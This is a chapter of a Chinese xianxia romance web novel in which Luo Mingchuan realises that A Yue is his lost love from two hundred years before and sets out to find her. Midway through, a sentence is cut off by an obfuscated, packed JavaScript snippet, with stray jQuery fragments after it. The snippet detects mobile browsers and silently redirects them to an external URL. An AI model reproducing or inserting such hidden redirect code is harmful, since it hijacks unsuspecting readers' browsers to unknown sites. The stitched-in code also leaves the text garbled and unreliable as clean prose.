19. 第18章

作品:《月明千川

    自千山月离开之后,洛明川心情虽然失落,但比起之前却平静了不少。


    那日,他往红院去后在屋子里坐了许久,望着手里的内丹想起了很多以往的事情。


    他记得初入蓬莱的时候,心里确实带着企图。


    那时千山月的主动接近让他既慌又怕,他时时拒绝,处处退让以为这样就可以控制住自己的心神。


    可他还是低估了情爱这种东西的力量,这东西生命力太过旺盛,稍不注意便能见缝插针地恣意生长,连他自己都浑然不觉。


    那次他和她一起出岛除妖兽时,她不小心中了毒,他忽然就慌了神。


    那是一只罕见的大妖,毒性极强。


    他们当时身上未带解毒之药,周围也没有可用的药草,他当时看着毒性在她身体里快速蔓延,他只有一个想法她不能死。


    他一次次将自己的灵力渡给她帮她一点点将毒素逼出来,不惜耗尽。


    当时他从未细想过自己不想让她死是因为自己的目的未达成还是因为旁的,但他就是想着她不能出事。


    后来他回想起来这才惊觉当时自己心里根本就没有想过九色锦。


    或许那时他便动了情,只是自己不自知罢了。


    后来她在天音宗震碎内丹的刹那,他当时只觉得心痛难忍,他以为他和她还有来日方长,他还有时间去解释去弥补。


    可一切都是不可能了。


    他害怕也不愿承认她是离开了。


    所以这么多年他一直守着那颗破碎的内丹,总以为会有奇迹。


    可事实上这些年他从未再有过她的任何音信,而这个内丹自始至终也从来没有过任何变化,或许这些早就预示了,那个人真的不会回来了。


    人生本就是有许多遗憾,他也一样。


    他改变不了什么。


    即便他心里有再多不甘,再多歉疚,再多后悔,再多的痛,而事实就是事实,他能做的或许是帮她完成她想完成的事情。


    所以他才让蓝清去了天音宗。


    若是阿月还在,应该最想做的事情就是重启天音宗灵脉,让天音宗能好好的吧。


    想通了这些之后,他将内丹放置于白玉青莲中,和白玉青莲一起封进了自己的识海内。


    正欲离开,可起身的刹那却发现屋内的一角似有一页碎纸,他捡起来正出神间,却见着即墨长老匆匆进了门。


    “明川啊,你看看这个。”


    原来,自遴选结束之后,九钧山内门弟子的选拔也开始了。


    从外门到内门,是每一个九钧山弟子的期盼和梦想,一个个的都使出了看家本领。


    而今日夺魁的是一明器修。


    所谓器修顾名思义简单地理解就是造法器宝物的。这样的事情费时费力,而且成功性还不高,所以器修修士最不容易大成,因此这些年修器修的人并不多。


    就好比青云宗,虽然主修的是剑修和器修但是青云宗的弟子几乎都是剑修,器修少得可怜。因此,千年来整个修真界也就出了那么几个顶级的器修修士,真真是稀有得很。


    可偏偏今日这名弟子却凭借一盏千叶琉璃击败了一众的剑修、法修,符修等等不一而足的修士,成为了选拔第一。


    这可乐坏了即墨道长,九钧山多久没出过这样的器修修士了?想当初九钧山开山始祖就是主修器修的,如此人才当真可遇而不可求啊,他高兴之余这才拿着那个千叶琉璃盏去寻洛明川。


    目的也是想让他看看这弟子是否有这个天赋。


    可当洛明川看到那法器时,整个人更加诧异了,他的注意力完全被那个千叶琉璃盏给吸引住了。本来已经心死的心像是被炸入了无数炮弹瞬间惊起千层浪来。


    他死死盯着那个法器,“这是九钧山弟子炼制的?”


    即墨长老连忙点头,“对啊,有什么问题?”


    他望了望手上那一页碎纸,又看了看那盏千叶琉璃此刻的心根本一点别的都想不了,立刻问道,“他叫什么名字?人在哪儿?”


    “好像是叫方槐,现在应该在无极峰。”


    他当即就往无影峰去了。


    蓝清不懂洛明川为何如此激动,以为真是遇见了什么了不得的天才,匆匆忙忙也就跟着去了。


    可当见到那方槐到了之后,洛明川问的却是那法器上唯一的的一支九色羽毛是哪里来的。


    方槐怔愣了一瞬,这才拱手道,“是从山门外捡到的,见着好看又好似什么鸟的羽毛,而且好像还自带了几分很奇妙的力量,就插在了这琉璃盏上。”


    “山门?什么时候捡到的?”


    方槐想了想,大概就是在内门弟子选拔的前一天。


    前一天?那不正是阿月下山的那天?


    洛明川整个人更加不淡定了,“说说那天的情形。”


    方槐似木头杵在那儿,一时有些懵。


    反应了半晌才说起来,“那天,我正在山门当值,抬头望去就见好大一只鸟,可当我正想仔细瞅瞅的时候眨眼间那鸟就以极快的速度消失在了天际。后来,就见着不远处有一片羽毛,我当时就觉得我那法器上正好缺一叶便就度了灵力上去将它放在了这琉璃盏上。”


    “除了鸟还见到了什么?”


    方槐摇摇头,“没了,对了,大概隐约见着那鸟身上还有个人。”


    “有人?什么样的人?”


    方槐摇摇头,“不记得了。”


    洛明川抚摸着那只羽毛,整颗心有些发颤,还记得在蓬莱他第一次坐九色玄鸟的时候就因为失手薅下过一支羽毛,完全很眼下这支一模一样。


    普天之下,那是他见过的唯一的一只九色玄鸟。


    而时间又那么巧。


    而且这页碎纸分明是他从他落魂符上掉下来的,上面明显是有旁人灵力的痕迹,也就是说那日他在梦中窥见的也许被人动了手脚。


    也许她识破了他的落魂符,她引他入了她制造的梦境。


    他回想起当日梦中的情形,眼睛陡然收紧,所以她对他下了入梦符?


    所以,她是早就察觉了?她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950889|160927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一直在刻意避开他?


    他心跳如雷。


    想了想再次叫来了贺玉,“当初入幻梦镜听说那位阿月修士入了特殊梦境,当时的情况,你再仔细说说。”


    贺玉眼神略过一丝惊讶再次回忆了起来,“那天我和阿月结伴入了幻梦镜,然后遇到了一只凶兽,我们合力杀了她,后来我和她又各自入了不同的幻境,她好像又遇到了一只血魔兽,之后她就掉进了实形之外的幻境,当时我赶到的时候看不到她究竟遭遇了什么,不过她当时很痛苦,一直叫着一个人,叫什么来着,对了,好像是叫白什么的,然后我将她从幻境中拉出来——”


    他话未说完就被洛明川给打断了,“你说她在叫的一个人的名字?”


    贺玉一怔,摸了摸头,“对,白,白亦什么的。”


    “白亦行。”


    “对,好像就是这个。”


    “咚”的一下,洛明川的心似冬日炸开的冰面,一寸寸碎裂开来,最后所有冰块只剩下斑驳错裂开的碎冰,无力地漂浮在湖面,只等浸骨的湖水一点点将自己淹没。


    他挥挥手让所有人都退了出去后,随后像一棵老树根一般在房间里坐了足足两个多时辰。


    他早该想到的,她第一次见到他的时候就惊呼出了他的名字,若不是曾经识得如何又能在那一瞬间叫出他来?


    她第一次做的鱼明明就和他曾在蓬莱吃到的味道一样,他吃过那么多条蒸鱼唯独她做出来的是最特别的,他怎么就没认出来?


    她爱在出门的时候带小零食,她说她嘴馋,喜欢这种口腹之欲,那天他们一起出山她明明也是那样说的,他怎么就没有想起了?


    她习惯用左手吃饭,她喜欢御剑的自由感,她恣意张扬,骨子里透着一股常人没有的倔强,她善用符诀,她明明就和天音宗有着不可言说的关系,他怎么就没能认出来?


    两百年前她死了,消失在他面前时他无力捉住那些幻影,两百年后,她活着,仍旧消失在了他面前,他又做了什么?


    他说他爱她,他一直过不去,可他连她人都认不出,他如何说爱?


    他脑中忽然闪过她在梦境里的话,“若她还活着又不来见你有没有可能她就是不想见你?”


    她说,她曾经也爱过一个人,可慢慢的,也就忘记了。


    所以她是将自己忘记了吗?她是不愿意再见到自己了吗?


    春华落尽,他只能满怀萧瑟吗?


    他只感觉到心脏快速收紧,疼得他呼吸都困难。


    不,他不甘,他做不到,也忘不掉,他说过的既然爱了便是一生一世。


    既是再来一次,那他绝不可能再放手,哪怕,他只能站在她身边看她欢笑却再不能近怀。哪怕这一次,被拒绝的是他。


    只要她在,一切都是可以接受的,只要她在,那他就是鲜活的。


    他“豁”地站起身来,是了,现在他要要去找她,现在就去,这一次,他绝对坦诚,剖心为证。


    这一次,此心昭昭向明月,千山历行,向你独行。